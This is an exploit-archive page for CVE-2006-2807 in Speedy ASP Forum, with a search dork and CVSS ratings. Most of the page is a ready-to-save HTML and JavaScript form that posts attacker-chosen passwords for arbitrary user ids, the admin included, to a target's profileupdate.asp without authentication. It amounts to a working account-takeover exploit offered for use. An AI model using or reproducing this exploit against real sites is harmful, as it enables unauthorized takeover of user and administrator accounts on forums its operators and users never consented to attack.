Speedy ASP Forum(profileupdate.asp) User Pass Change Exploit

2006.06.06

Credit: ajannhwt hotmail com

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2006-2807

CWE: CWE-Other

CVSS Base Score: 10/10

Impact Subscore: 10/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

# Title  :   Speedy ASP Forum(profileupdate.asp) User Pass Change Exploit

# Dork   :   Copyright &#169; ASPwebSoft

# Author :   ajann

# greetz :   Nukedx

###Code:

Save to .htm

************************************************************************
*************************************************************

<title>Pass Change</title>

<script language="JavaScript">

//Coded ajann

function islemKontrol(){

if(document.InputForm.name.value=="" || document.InputForm.email.value=="" || document.InputForm.id.value=="" || document.InputForm.password.value=="" || document.InputForm.passwordre.value=="" || document.InputForm.country.options.value == 0 || document.InputForm.adres.value=="" ){

alert("Alani Bos Biraktiniz")

return false

}

{

document.InputForm.action= document.InputForm.adres.value

document.InputForm.submit();

return true

}

}

</script>

<body bgcolor="#000000">

<form name = "InputForm" method = "post" onSubmit = 'return islemKontrol()'>

<b><font color="#808080" face="Verdana">Speedy Forum User Pass Change //

ajann</font></b><p><font face="Verdana" size="2" color="#FF0000"><b>User Name    

:   </b></font>

<input type="text" name="name"  value="" size="20"> 

<font size="1" color="#C0C0C0" face="Arial"> Example: Surname Name</font><br>

<font face="Verdana" size="2" color="#FF0000"><b>User Mail        

:  </b></font>

<input type="text" name="email" value="" size="20">

<font size="1" color="#C0C0C0" face="Arial">   Example:

mail (at) domain (dot) com [email concealed]</font><br>

<font face="Verdana" size="2" color="#FF0000"><b>User &#304;d           
; 

:  </b></font>

<input type="text" name="id" value="" size="20">

<font size="1" color="#C0C0C0" face="Arial">  Example: &#304;d:1 Admin</font><br>

<font face="Verdana" size="2" color="#FF0000"><b>User Country  :  </b>

</font>

<select size="1"  name="country">

<option value=0>Choose Country</option>

<option  value="Turkey">Turkey</option>

</select> <font size="1" color="#C0C0C0" face="Arial"> Example: Turkey</font><br>

<b>

<font face="Verdana" size="2" color="#FF0000">User </font>

<font face="Verdana" size="2" color="#0000FF">Pass </font>

<font face="Verdana" size="2" color="#FF0000">      

:  </font></b>

<input type = "text" name="password" value="Password" size="20"> 

<font size="1" color="#C0C0C0" face="Arial"> Example: 123456</font><br>

<b>

<font face="Verdana" size="2" color="#FF0000">User </font>

<font face="Verdana" size="2" color="#0000FF">RePass</font><font face="Verdana" size="2" color="#FF0000">  

:  </font></b>

<input type = "text" name="passwordre" value="Re Password" size="20"> 

<font size="1" color="#C0C0C0" face="Arial"> Example: 123456</font><br>

<font face="Verdana" size="2" color="#FF0000"><b>Form Action    : </b>

</font>

<input type="text" name="adres" value="profileupdate.asp" size="20"> 

<font size="1" color="#C0C0C0" face="Arial"> Example: http://[target]/[path]/profileupdate.asp</font></p>

<p>

<input type = "submit" name="Submit" value="Change"> </p>

<br>

 </form>

************************************************************************
*************************************************************

And Code

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Speedy ASP Forum(profileupdate.asp) User Pass Change Exploit

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.